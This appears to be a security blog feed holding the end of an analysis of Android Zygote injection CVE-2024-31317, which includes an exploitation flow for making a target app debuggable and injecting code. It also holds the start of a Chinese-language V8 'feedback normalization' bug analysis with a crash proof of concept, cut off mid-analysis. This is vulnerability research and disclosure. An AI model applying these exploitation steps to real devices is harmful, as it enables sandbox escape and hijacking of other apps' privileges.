&amp;&amp; pid &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (mPidsSelfLocked) &#123;</span><br><span class="line">            app = mPidsSelfLocked.get(pid);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (app != <span class="literal">null</span> &amp;&amp; (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">processName</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="keyword">final</span> <span class="type">ProcessRecord</span> <span class="variable">pending</span> <span class="operator">=</span> mProcessList.mPendingStarts.get(startSeq);</span><br><span class="line">            <span class="keyword">if</span> (pending != <span class="literal">null</span>) &#123;</span><br><span class="line">                processName = pending.processName;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">final</span> <span class="type">String</span> <span class="variable">msg</span> <span class="operator">=</span> <span class="string">&quot;attachApplicationLocked process:&quot;</span> + processName</span><br><span class="line">                    + <span class="string">&quot; startSeq:&quot;</span> + startSeq</span><br><span class="line">                    + <span class="string">&quot; pid:&quot;</span> + pid</span><br><span class="line">                    + <span class="string">&quot; belongs to another existing app:&quot;</span> + app.processName</span><br><span class="line">                    + <span class="string">&quot; startSeq:&quot;</span> + app.getStartSeq();</span><br><span class="line">            Slog.wtf(TAG, msg);</span><br><span class="line">            <span class="comment">// SafetyNet logging for b/131105245.</span></span><br><span class="line">            EventLog.writeEvent(<span class="number">0x534e4554</span>, <span class="string">&quot;131105245&quot;</span>, app.getStartUid(), msg);</span><br><span class="line">            <span class="comment">// If there is already an app occupying that pid that hasn&#x27;t been cleaned up</span></span><br><span class="line">            cleanUpApplicationRecordLocked(app, pid, <span class="literal">false</span>, <span class="literal">false</span>, -<span class="number">1</span>,</span><br><span class="line">                    <span class="literal">true</span> <span class="comment">/*replacingPid*/</span>, <span class="literal">false</span> <span class="comment">/* fromBinderDied */</span>);</span><br><span class="line">            removePidLocked(pid, app);</span><br><span class="line">            app = <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        app = <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// It&#x27;s possible that process called attachApplication before we got a chance to</span></span><br><span class="line">    <span class="comment">// update the internal state.</span></span><br><span class="line">    <span class="keyword">if</span> (app == <span class="literal">null</span> &amp;&amp; startSeq &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">ProcessRecord</span> <span class="variable">pending</span> <span class="operator">=</span> mProcessList.mPendingStarts.get(startSeq);</span><br><span class="line">        <span class="keyword">if</span> (pending != <span class="literal">null</span> &amp;&amp; pending.getStartUid() == callingUid</span><br><span class="line">                &amp;&amp; pending.getStartSeq() == startSeq</span><br><span class="line">                &amp;&amp; mProcessList.handleProcessStartedLocked(pending, pid,</span><br><span class="line">                    pending.isUsingWrapper(), startSeq, <span class="literal">true</span>)) &#123;</span><br><span class="line">            app = pending;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (app == <span class="literal">null</span>) &#123;</span><br><span class="line">        Slog.w(TAG, <span class="string">&quot;No pending application record for pid &quot;</span> + pid</span><br><span class="line">                + <span class="string">&quot; (IApplicationThread &quot;</span> + thread + <span class="string">&quot;); dropping process&quot;</span>);</span><br><span class="line">        EventLogTags.writeAmDropProcess(pid);</span><br><span class="line">        <span class="keyword">if</span> (pid &gt; <span class="number">0</span> &amp;&amp; pid != MY_PID) &#123;</span><br><span class="line">            killProcessQuiet(pid);</span><br><span class="line">            <span class="comment">//<span class="doctag">TODO:</span> killProcessGroup(app.info.uid, pid);</span></span><br><span class="line">            <span class="comment">// We can&#x27;t log the app kill info for this process since we don&#x27;t</span></span><br><span class="line">            <span class="comment">// know who it is, so just skip the logging.</span></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                thread.scheduleExit();</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                <span class="comment">// Ignore exceptions.</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>If an unmatched or incorrect <code>startSeq</code> is used, the process will be immediately killed. The <code>startSeq</code> is incremented by 1 with each app startup. So how can an attacker retrieve or guess the current <code>startSeq</code>?</p><p>Our solution to this issue is to first install an attacker-controlled application, and by searching the stack frames, the current <code>startSeq</code> can be found.</p><!-- ![eed2422c8579956dfcca96a5df162d3.png](eed2422c8579956dfcca96a5df162d3.png) --><img src="/the_return_of_mystique/eed2422c8579956dfcca96a5df162d3.png" class="" title="eed2422c8579956dfcca96a5df162d3.png"><p>The overall exploitation process is as follows (for versions 11 and earlier):</p><pre class="mermaid">graph TD;    A["Attacker Installs a Debuggable Stub Application"] --> B["Search Stack Frames to Obtain the Current startSeq"];    B --> C["startSeq+1, Perform Command Injection; Zygote Hangs, Waiting for Next App Start"];    C --> D["Launch the Target App via Intent; Corresponding ApplicationRecord Appears in ActivityManagerService"];    D --> E["Zygote Executes Injected Parameters and Forks a Debuggable Process"];    E --> F["The New Forked Process Attaches to AMS with the stolen startSeq; AMS Checks startSeq"];    F --> G["startSeq Check Passes, AMS Controls the Target Process to Load Its Corresponding APK and Complete the Activity Startup Process"];    G --> H["The Target App Has a jdwp Thread, and the Attacker Can Attach to Perform Code Injection"];</pre><p>The attack effect on Android 11 is shown in the following image:</p><!-- ![e7237e011d32f5e794c58973245c562.png](e7237e011d32f5e794c58973245c562.png) --><img src="/the_return_of_mystique/e7237e011d32f5e794c58973245c562.png" class="" title="e7237e011d32f5e794c58973245c562.png"><p>As you can see, we successfully launched the <code>settings</code> process and made it debuggable for injection (with a <code>jdwp</code> thread present). Note that the method shown in the screenshot has not been adapted for versions 12 and above, and readers are encouraged to explore this on their own.</p><h3 id="alternative-exploitation-methods"><a class="markdownIt-Anchor" href="#alternative-exploitation-methods"></a> Alternative Exploitation Methods</h3><p>Currently, <strong>Method 1</strong> provides a simple and direct way to obtain a shell with arbitrary <code>uid</code>, but it doesn’t allow for direct code injection or loading. <strong>Method 2</strong> achieves code injection and loading, but requires using the <code>jdwp</code> protocol. Is there a better approach?</p><p>Perhaps we can explore modifying the class name of the injected parameters—specifically, the previous <code>android.app.ActivityThread</code>—and redirect it to another <a href="https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/com/android/internal/os/RuntimeInit.java;drc=0b48364e3025bcd210872c5bb0e71088a382292b;l=374">gadget class</a>, such as <code>WrapperInit.wrapperInit</code>.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="keyword">static</span> Runnable <span class="title function_">applicationInit</span><span class="params">(<span class="type">int</span> targetSdkVersion, <span class="type">long</span>[] disabledCompatChanges,</span></span><br><span class="line"><span class="params">        String[] argv, ClassLoader classLoader)</span> &#123;</span><br><span class="line">    <span class="comment">// If the application calls System.exit(), terminate the process</span></span><br><span class="line">    <span class="comment">// immediately without running any shutdown hooks.  It is not possible to</span></span><br><span class="line">    <span class="comment">// shutdown an Android application gracefully.  Among other things, the</span></span><br><span class="line">    <span class="comment">// Android runtime shutdown hooks close the Binder driver, which can cause</span></span><br><span class="line">    <span class="comment">// leftover running threads to crash before the process actually exits.</span></span><br><span class="line">    nativeSetExitWithoutCleanup(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    VMRuntime.getRuntime().setTargetSdkVersion(targetSdkVersion);</span><br><span class="line">    VMRuntime.getRuntime().setDisabledCompatChanges(disabledCompatChanges);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">final</span> <span class="type">Arguments</span> <span class="variable">args</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Arguments</span>(argv);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// The end of of the RuntimeInit event (see #zygoteInit).</span></span><br><span class="line">    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Remaining arguments are passed to the start class&#x27;s static main</span></span><br><span class="line">    <span class="keyword">return</span> findStaticMain(args.startClass, args.startArgs, classLoader);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>It seems that by leveraging <code>WrapperInit</code>, we can control the <code>classLoader</code> to inject our custom classes, potentially achieving the desired effect of code injection and execution.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> Runnable <span class="title function_">wrapperInit</span><span class="params">(<span class="type">int</span> targetSdkVersion, String[] argv)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (RuntimeInit.DEBUG) &#123;</span><br><span class="line">        Slog.d(RuntimeInit.TAG, <span class="string">&quot;RuntimeInit: Starting application from wrapper&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Check whether the first argument is a &quot;-cp&quot; in argv, and assume the next argument is the</span></span><br><span class="line">    <span class="comment">// classpath. If found, create a PathClassLoader and use it for applicationInit.</span></span><br><span class="line">    <span class="type">ClassLoader</span> <span class="variable">classLoader</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">if</span> (argv != <span class="literal">null</span> &amp;&amp; argv.length &gt; <span class="number">2</span> &amp;&amp; argv[<span class="number">0</span>].equals(<span class="string">&quot;-cp&quot;</span>)) &#123;</span><br><span class="line">        classLoader = ZygoteInit.createPathClassLoader(argv[<span class="number">1</span>], targetSdkVersion);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Install this classloader as the context classloader, too.</span></span><br><span class="line">        Thread.currentThread().setContextClassLoader(classLoader);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Remove the classpath from the arguments.</span></span><br><span class="line">        String removedArgs[] = <span class="keyword">new</span> <span class="title class_">String</span>[argv.length - <span class="number">2</span>];</span><br><span class="line">        System.arraycopy(argv, <span class="number">2</span>, removedArgs, <span class="number">0</span>, argv.length - <span class="number">2</span>);</span><br><span class="line">        argv = removedArgs;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// Perform the same initialization that would happen after the Zygote forks.</span></span><br><span class="line">    Zygote.nativePreApplicationInit();</span><br><span class="line">    <span class="keyword">return</span> RuntimeInit.applicationInit(targetSdkVersion, <span class="comment">/*disabledCompatChanges*/</span> <span class="literal">null</span>,</span><br><span class="line">            argv, classLoader);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The specific exploitation method is left for interested readers to further explore.</p><h1 id="conclusion"><a class="markdownIt-Anchor" href="#conclusion"></a> Conclusion</h1><p>This article analyzed the cause of the CVE-2024-31317 vulnerability and shared our research and exploitation methods. This vulnerability has effects similar to the Mystique vulnerability we discovered years ago, though with its own strengths and weaknesses. Through this vulnerability, we can obtain arbitrary UID privileges, which is akin to bypassing the Android sandbox and gaining access to any app’s permissions.</p><h1 id="acknowledgments"><a class="markdownIt-Anchor" href="#acknowledgments"></a> Acknowledgments</h1><p>Thanks to Tom Hebb from the Meta X Team for the technical discussions—Tom is the discoverer of this vulnerability, and I had the pleasure of meeting him at the Meta Researcher Conference.</p><h1 id="references"><a class="markdownIt-Anchor" href="#references"></a> References</h1><ul><li><a href="https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html">https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html</a></li><li><a href="https://blog.flanker017.me/adb-backupagent-%e6%8f%90%e6%9d%83%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90-%ef%bc%88cve-2014-7953%ef%bc%89/">https://blog.flanker017.me/adb-backupagent-%e6%8f%90%e6%9d%83%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90-%ef%bc%88cve-2014-7953%ef%bc%89/</a></li><li><a href="https://dawnslab.jd.com/mystique-paper/mystique-paper.pdf">https://dawnslab.jd.com/mystique-paper/mystique-paper.pdf</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;abstract&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#abstract&quot;&gt;&lt;/a&gt; Abstract&lt;/h1&gt;
&lt;p&gt;This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to &lt;a href=&quot;https://dawnslab.jd.com/mystique/&quot;&gt;the Mystique vulnerability discovered by the author years ago (which won the Pwnie Award for Best Privilege Escalation Bug)&lt;/a&gt;, but each has its own merits.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>v8_feedback_normalization_非默认配置RCE漏洞分析与利用</title>
    <link href="https://dawnslab.jd.com/v8_feedback_normalization_RCE/"/>
    <id>https://dawnslab.jd.com/v8_feedback_normalization_RCE/</id>
    <published>2024-09-03T08:46:55.000Z</published>
    <updated>2025-08-21T06:15:24.207Z</updated>
    
    <content type="html"><![CDATA[<p>v8_feedback_normalization_非默认配置RCE漏洞分析与利用</p><span id="more"></span><h2 id="1-poc"><a class="markdownIt-Anchor" href="#1-poc"></a> 1. POC</h2><p>poc如下, 与<code>--feedback-normalization</code>息息相关</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> obj = <span class="title class_">Object</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">32</span>; i++) &#123;</span><br><span class="line">    obj[<span class="string">&quot;p&quot;</span> + i] = i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">d8 \</span></span><br><span class="line"><span class="comment">    --expose-gc \</span></span><br><span class="line"><span class="comment">    --omit-quit \</span></span><br><span class="line"><span class="comment">    --allow-natives-syntax \</span></span><br><span class="line"><span class="comment">    --feedback-normalization \</span></span><br><span class="line"><span class="comment">    --trace-opt \</span></span><br><span class="line"><span class="comment">    --trace-deopt \</span></span><br><span class="line"><span class="comment">    --trace-turbo \</span></span><br><span class="line"><span class="comment">    --trace-gc \</span></span><br><span class="line"><span class="comment">    --trace-migration \</span></span><br><span class="line"><span class="comment">    ./save/crash.js</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Fatal error in ../../src/objects/js-function-inl.h, line 200</span></span><br><span class="line"><span class="comment"># Debug check failed: map()-&gt;has_prototype_slot().</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment">#FailureMessage Object: 0x7ffff5a48860</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><h2 id="2-漏洞分析"><a class="markdownIt-Anchor" href="#2-漏洞分析"></a> 2. 漏洞分析</h2><p>漏洞发生时的调用栈如下</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[#<span class="number">4</span>] <span class="number">0x555557944e63</span> → <span class="title function_">prototype_or_initial_map</span>()</span><br><span class="line">[#<span class="number">5</span>] <span class="number">0x555557944e63</span> → <span class="title function_">initial_map</span>()</span><br><span class="line">[#<span class="number">6</span>] <span class="number">0x555559885b2d</span> → <span class="title function_">initial_map</span>()</span><br><span class="line">[#<span class="number">7</span>] <span class="number">0x555559885b2d</span> → <span class="title class_">TransitionToDataProperty</span>()</span><br><span class="line">[#<span class="number">8</span>] <span class="number">0x5555597fe85e</span> → <span class="title class_">PrepareTransitionToDataProperty</span>()</span><br><span class="line">[#<span class="number">9</span>] <span class="number">0x5555599b51fb</span> → <span class="title class_">TransitionAndWriteDataProperty</span>()</span><br></pre></td></tr></table></figure><p>问题出现在<code>feedback_normalization</code>标志相关的代码中</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Handle</span>&lt;<span class="title class_">Map</span>&gt; <span class="title class_">Map</span>::<span class="title class_">TransitionToDataProperty</span>(<span class="title class_">Isolate</span>* isolate, <span class="title class_">Handle</span>&lt;<span class="title class_">Map</span>&gt; map,</span><br><span class="line">                                          <span class="title class_">Handle</span>&lt;<span class="title class_">Name</span>&gt; name,</span><br><span class="line">                                          <span class="title class_">Handle</span>&lt;<span class="title class_">Object</span>&gt; value,</span><br><span class="line">                                          <span class="title class_">PropertyAttributes</span> attributes,</span><br><span class="line">                                          <span class="title class_">PropertyConstness</span> constness,</span><br><span class="line">                                          <span class="title class_">StoreOrigin</span> store_origin) &#123;</span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Migrate to the newest map before storing the property.</span></span><br><span class="line">  map = <span class="title class_">Update</span>(isolate, map);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 搜索map transition, 原来的map添加*name属性后对应的map是否已经存在</span></span><br><span class="line">  <span class="title class_">MaybeHandle</span>&lt;<span class="title class_">Map</span>&gt; maybe_transition = <span class="title class_">TransitionsAccessor</span>::<span class="title class_">SearchTransition</span>(isolate, map, *name, <span class="title class_">PropertyKind</span>::kData, attributes);</span><br><span class="line">  <span class="title class_">Handle</span>&lt;<span class="title class_">Map</span>&gt; transition;</span><br><span class="line">  <span class="keyword">if</span> (maybe_transition.<span class="title class_">ToHandle</span>(&amp;transition)) &#123;    <span class="comment">// 已经存在</span></span><br><span class="line">    <span class="title class_">InternalIndex</span> descriptor = transition-&gt;<span class="title class_">LastAdded</span>(); </span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">UpdateDescriptorForValue</span>(isolate, transition, descriptor, constness, value);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Do not track transitions during bootstrapping.</span></span><br><span class="line">  <span class="title class_">TransitionFlag</span> flag = isolate-&gt;<span class="title function_">bootstrapper</span>()-&gt;<span class="title class_">IsActive</span>() ? <span class="variable constant_">OMIT_TRANSITION</span> : <span class="variable constant_">INSERT_TRANSITION</span>;</span><br><span class="line">  <span class="title class_">MaybeHandle</span>&lt;<span class="title class_">Map</span>&gt; maybe_map;</span><br><span class="line">  <span class="keyword">if</span> (!map-&gt;<span class="title class_">TooManyFastProperties</span>(store_origin)) &#123; <span class="comment">// 如果fast properties没超过限制, 那么就添加一个fast property</span></span><br><span class="line">    <span class="title class_">Representation</span> representation =  <span class="title class_">Object</span>::<span class="title class_">OptimalRepresentation</span>(*value, isolate);</span><br><span class="line">    <span class="title class_">Handle</span>&lt;<span class="title class_">FieldType</span>&gt; type = <span class="title class_">Object</span>::<span class="title class_">OptimalType</span>(*value, isolate, representation);</span><br><span class="line">    maybe_map = <span class="title class_">Map</span>::<span class="title class_">CopyWithField</span>(isolate, map, name, type, attributes, constness, representation, flag);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="title class_">Handle</span>&lt;<span class="title class_">Map</span>&gt; result;    <span class="comment">// 添加数据属性后的新map</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!maybe_map.<span class="title class_">ToHandle</span>(&amp;result)) &#123;    <span class="comment">// maybe_map为空的</span></span><br><span class="line">    <span class="title class_">Handle</span>&lt;<span class="title class_">Object</span>&gt; <span class="title function_">maybe_constructor</span>(map-&gt;<span class="title class_">GetConstructor</span>(), isolate);    <span class="comment">// 获取对象的构造方法</span></span><br><span class="line">    <span class="keyword">if</span> (v8_flags.<span class="property">feedback_normalization</span> &amp;&amp; <span class="comment">// feedback_normalization表示反馈对象隐式类被normalization这一信息</span></span><br><span class="line">        map-&gt;<span class="title function_">new_target_is_base</span>() &amp;&amp;</span><br><span class="line">        <span class="title class_">IsJSFunction</span>(*maybe_constructor) &amp;&amp;    <span class="comment">// 构造方法是一个普通的JS方法</span></span><br><span class="line">        !<span class="title class_">JSFunction</span>::<span class="title function_">cast</span>(*maybe_constructor)-&gt;<span class="title function_">shared</span>()-&gt;<span class="title function_">native</span>()) &#123;</span><br><span class="line">      <span class="comment">// 获取构造方法的JSFunction对象</span></span><br><span class="line">      <span class="title class_">Handle</span>&lt;<span class="title class_">JSFunction</span>&gt; constructor = <span class="title class_">Handle</span>&lt;<span class="title class_">JSFunction</span>&gt;::<span class="title function_">cast</span>(maybe_constructor); </span><br><span class="line">      <span class="comment">// initial_map表示new constructor时的初始隐式类</span></span><br><span class="line">      <span class="title class_">Handle</span>&lt;<span class="title class_">Map</span>&gt; <span class="title function_">initial_map</span>(constructor-&gt;<span class="title function_">initial_map</span>(), isolate);    <span class="comment">// &lt;===这里获取initial_map()时报错</span></span><br><span class="line">      <span class="comment">// 根据initial_map生成`DictionaryProperties`类型的隐式类</span></span><br><span class="line">      result = <span class="title class_">Map</span>::<span class="title class_">Normalize</span>(isolate, initial_map, <span class="variable constant_">CLEAR_INOBJECT_PROPERTIES</span>, reason);</span><br><span class="line">      <span class="comment">// 原来从initial_map起始的隐式类全部被弃用</span></span><br><span class="line">      initial_map-&gt;<span class="title class_">DeprecateTransitionTree</span>(isolate);</span><br><span class="line">      <span class="comment">// result作为新的initial_map</span></span><br><span class="line">      <span class="title class_">Handle</span>&lt;<span class="title class_">HeapObject</span>&gt; <span class="title function_">prototype</span>(result-&gt;<span class="title function_">prototype</span>(), isolate);</span><br><span class="line">      <span class="title class_">JSFunction</span>::<span class="title class_">SetInitialMap</span>(isolate, constructor, result, prototype);</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 所有依赖原先initial_map的都进行反优化</span></span><br><span class="line">      <span class="title class_">DependentCode</span>::<span class="title class_">DeoptimizeDependencyGroups</span>(isolate, *initial_map, <span class="title class_">DependentCode</span>::kInitialMapChangedGroup);</span><br><span class="line">      ...</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      result = <span class="title class_">Map</span>::<span class="title class_">Normalize</span>(isolate, map, <span class="variable constant_">CLEAR_INOBJECT_PROPERTIES</span>, reason);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们发现<code>constructor-&gt;initial_map()</code>会尝试获取<code>job(Object)-&gt;map-&gt;constructor-&gt;initial_map</code>字段.</p><p>考虑下面这个例子</p><ul><li><code>job(f)-&gt;initial_map</code>是lazy分配的, 在有对象new之前都是空</li><li>在<code>new f()</code>之后, 就会创建map并写入<code>job(f)-&gt;initial_map</code>, 作为<code>obj</code>的隐式类</li></ul><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line"></span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">let</span> obj = <span class="keyword">new</span> <span class="title function_">f</span>();</span><br><span class="line">%<span class="title class_">DebugPrint</span>(f);</span><br></pre></td></tr></table></figure><p>也就是说下面这段获取对象构造方法的代码假设了: <strong>如果一个对象具有JSFunction类型的构造方法, 那么该构造方法一定具有initial_map</strong></p><p>换成代码表示就是, 如果<code>job(obj)-&gt;map-&gt;constructor</code>为<code>JSFunction</code>, 那么<code>job(obj)-&gt;map-&gt;constructor</code>一定具有<code>initial_map</code>字段. 不然<code>job(obj)-&gt;map</code>来自于哪里呢?</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!maybe_map.<span class="title class_">ToHandle</span>(&amp;result)) &#123;    <span class="comment">// maybe_map为空的</span></span><br><span class="line">  <span class="title class_">Handle</span>&lt;<span class="title class_">Object</span>&gt; <span class="title function_">maybe_constructor</span>(map-&gt;<span class="title class_">GetConstructor</span>(), isolate);    <span class="comment">// 获取对象的构造方法</span></span><br><span class="line">  <span class="keyword">if</span> (v8_flags.<span class="property">feedback_normalization</span> &amp;&amp; <span class="comment">// feedback_normalization表示反馈对象隐式类被normalization这一信息</span></span><br><span class="line">      map-&gt;<span class="title function_">new_target_is_base</span>() &amp;&amp;</span><br><span class="line">      <span class="title class_">IsJSFunction</span>(*maybe_constructor) &amp;&amp;    <span class="comment">// 构造方法是一个普通的JS方法</span></span><br><span class="line">      !<span class="title class_">JSFunction</span>::<span class="title function_">cast</span>(*maybe_constructor)-&gt;<span class="title function_">shared</span>()-&gt;<span class="title function_">native</span>()) &#123;</span><br><span class="line">    <span class="comment">// 获取构造方法的JSFunction对象</span></span><br><span class="line">    <span class="title class_">Handle</span>&lt;<span class="title class_">JSFunction</span>&gt; constructor = <span class="title class_">Handle</span>&lt;<span class="title class_">JSFunction</span>&gt;::<span class="title function_">cast</span>(maybe_constructor); </span><br><span class="line">    <span class="comment">// initial_map表示new constructor时的初始隐式类</span></span><br><span class="line">    <span class="title class_">Handle</span>&lt;<span class="title class_">Map</span>&gt; <span class="title function_">initial_map</span>(constructor-&gt;<span class="title function_">initial_map</span>(), isolate);    <span class="comment">// &lt;===这里获取initial_map()时报错</span></span><br><span class="line">    ...</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    result = <span class="title class_">Map</span>::<span class="title class_">Normalize</span>(isolate, map, <span class="variable constant_">CLEAR_INOBJECT_PROPERTIES</span>, reason);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是在本例子中<code>job(Object)-&gt;map-&gt;constructor</code>打破了这个假设. <code>Object</code>是一个特殊的对象, <code>Object-&gt;map-&gt;constructor</code>虽然是一个<code>JSFunction</code>, 但是这个<code>constructor</code>中并没有<code>initial_map</code>字段, 从而打破了这个假设</p><!-- ![image](v8_feedback_normalization_RCE/a1.png) --><img src="/v8_feedback_normalization_RCE/a1.png" class="" title="a1.png"><p><code>initial_map()</code>定义如下, DCEHCK条件为<code>map()-&gt;has_prototype_slot()</code>, 也就是说要求<code>job(Object)-&gt;map-&gt;constructor-&gt;map-&gt;has_prototype_slot()</code>为true, 